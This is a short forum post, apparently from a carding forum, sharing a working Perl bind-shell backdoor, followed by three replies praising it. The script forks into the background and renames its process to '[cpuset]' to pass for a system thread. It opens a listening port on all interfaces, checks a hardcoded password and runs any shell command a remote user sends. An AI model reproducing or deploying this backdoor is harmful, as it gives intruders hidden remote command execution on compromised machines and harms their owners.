[Source] Bind-Shell perl

[CardingMafia Admin]

#!/usr/bin/perl

use IO::Socket;
use strict;
use warnings;

my $pid=fork();
exit if $pid;
$0='[cpuset]';

if($#ARGV != 0){
print '

[+] Bind Shell By MMxM How to use: perl bind.pl <port-to-listening>
';
exit;
}

my $bind = IO::Socket::INET->new(
LocalAddr => '0.0.0.0',
LocalPort => $ARGV[0],
Type => SOCK_STREAM,
Reuse => 1,
Listen => 10
) || die "[-] erro : $!\n";

print "Listen in port $ARGV[0]\n";

while(my $cmd = $bind->accept()){
print $cmd ' Enter Password: ';
chomp(my $pass = <$cmd>);
if ($pass eq 'mmxm'){
print $cmd "\n[+] Welcome\n\n";
print $cmd '$ ';
while (my $cd = <$cmd>){
my @code = `$cd 2> /dev/stdout`;
my $output = join('',@code);
print $cmd $output;
print $cmd '$ ';
}
}
}
close($bind);

[Akpb]

aWESOME bro you are the real guy

[sasami_327]

very nice code! :)

thanks for share!! :P

[spaunpredator]

thank man rally good